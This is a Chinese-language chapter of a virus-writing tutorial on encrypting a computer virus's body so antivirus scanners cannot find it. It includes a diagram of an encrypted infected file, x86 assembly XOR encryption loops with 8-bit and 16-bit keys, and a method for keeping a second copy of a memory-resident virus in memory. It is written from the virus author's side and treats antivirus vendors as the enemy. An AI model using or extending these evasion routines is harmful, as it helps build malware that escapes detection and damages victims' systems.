【加密】
~~~~~~
加密技術真的很老了,但是它們仍然很有效,而且很有用,可能是在概念上倖存下來的幾個技術之一,但是仍然在繼續發展著,如多型,超多型,等等。我們的目標是隱藏我們的所有的文字字串,可以的操作碼,和所有會使使用者引起注意的東西。我們可以利用一個簡單的數學運算來實現,應用到我們病毒主體的所有位元組。例如,我們可以使病毒的所有位元組加1,然後我們就看不到任何可讀的資訊了:)
一個加密了的病毒如下:
___________________________________
| |
___ | Call to decryptor |
| |___________________________________|
| | |<-----|
| | | |
| | Infected file | |
| | | |
| |___________________________________| |
| | |<--| |
| | Virus body | | |
| |___________________________________|___|__|
|--->| | |
| Decryptor | |
|___________________________________|___|
非常簡單,有一個呼叫解密程式的call,當解密程式解完密之後,它就把控制權交給病毒,當病毒執行完自身後,它就把控制權交給原先的程式。
有一種數學運算有一個好處,就是我們可以使用同一個函式來加密和解密我們的程式碼。當然,我們要討論XOR了,在加解密中使用得最多得指令。還有兩個指令可以用來實現我們只用一個函式就可以加密和解密目的:NOT和NEG。這兩個中使用得最多的是第一個指令。當然了,我們還可以使用更多的指令進行加密。我將給出我們可以使用的指令的列表:
INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...
最簡單的加密我們的病毒是使用如下的例程:
encryption:
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsb/stosb
mov ah,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsb ; Move a byte from DS:SI to AL
xor al,ah
stosb ; Move a byte from AL to ES:DI
loop encryption_loop
ret
這個過程確實很差,它只有255種可能性,因為我們把一個8位元的暫存器作為金鑰(AH)。
當然這個是最簡單的實現方法,我們必須注意一些事情:
-如果我們使用這樣的例程,而且我們沒有我們的病毒在記憶體中的備份(在這篇文章中我將討論它),當使用這個例程的時候,我們必須不能把解密過程程式碼複製(呼叫解密的過程也一樣)到感染檔案。
-在病毒第一次產生的時候,我們必須注意病毒的狀態:它沒有被加密。使用xor,在第一次產生的時候,我們可以使用00來加密,並編寫一個過程在程式碼中改變這個值,或者簡單地避免在第一次產生的時候使用加密過程。
現在,我們將來看看當我們使用一個16位元金鑰加密的上述加密過程:
encryption:
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsw/stosw
mov dx,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsw ; Move a word from DS:SI to AX
xor ax,dx
stosw ; Move a word from AX to ES:DI
loop encryption_loop
ret
問題是:如果我們沒有對複製和加密的過程不加密...病毒查殺工具將會做什麼呢?它們在我們的病毒(是的,是的,我們花費了大量的時間和精力來反啟發,隱蔽,其它的一些大花招等等也一樣)中找到一個掃描字串足夠了。在5分鐘之內它們就在它們的病毒庫中加入了檢測我們的病毒的方法。啊!一個病毒作者花了很多天來編寫的一個病毒,就因為他使用瞭如此簡單的加密方法,在5分鐘之內,我們的敵人就找到了檢測的方法!這世界真是太黑暗了!:(
但是,病毒作者從不投降,所以...我們需要是解密程式越小越好。還不夠,在下一章例,你可能將得到最好的答案:)
怎樣使我們的病毒在記憶體裡有第二個複製呢?這非常簡單。在標誌將要複製的病毒的最後一個位元組,我們可以如下:
virus_end label byte ; The label that marks end of virus
enc_buffer db (offset virus_end-offset virus_start) dup (090h)
enc_buffer變數將會只在第一次產生時編碼。當我們擴散這個病毒時,這個變數並不會隨著複製。但是我們可以利用它的偏移地址來放置我們的病毒的第二個複製。我們能做的是...
-當我們把我們的病毒複製到記憶體中(一個TSR病毒),我們再一次這樣,並把EXE檔案頭放進程式碼裡,或者在COM檔案的頭幾個位元組,當這些變數向後移動病毒的大小時,我們把這些程式碼放到相同的偏移地址。OK,我將更好地解釋它。想象我們有如下程式碼:
mov ah,3Fh
mov cx,4
lea dx,old3bytes
int 21h
OK,那麼,如果我們在記憶體裡面有病毒的第二個複製,我們必須把第三行代替為:
lea dx,virus_size+old3bytes
這是嘗試的最好方法...
-或者我們可以在新增的時候複製病毒的主體:我們有所有的變數集。改動如下:
mov cx,virus_size
xor si,si
mov di,offset virus_begin
rep movsb
我們給它加密,新增上第二個複製並...足夠了!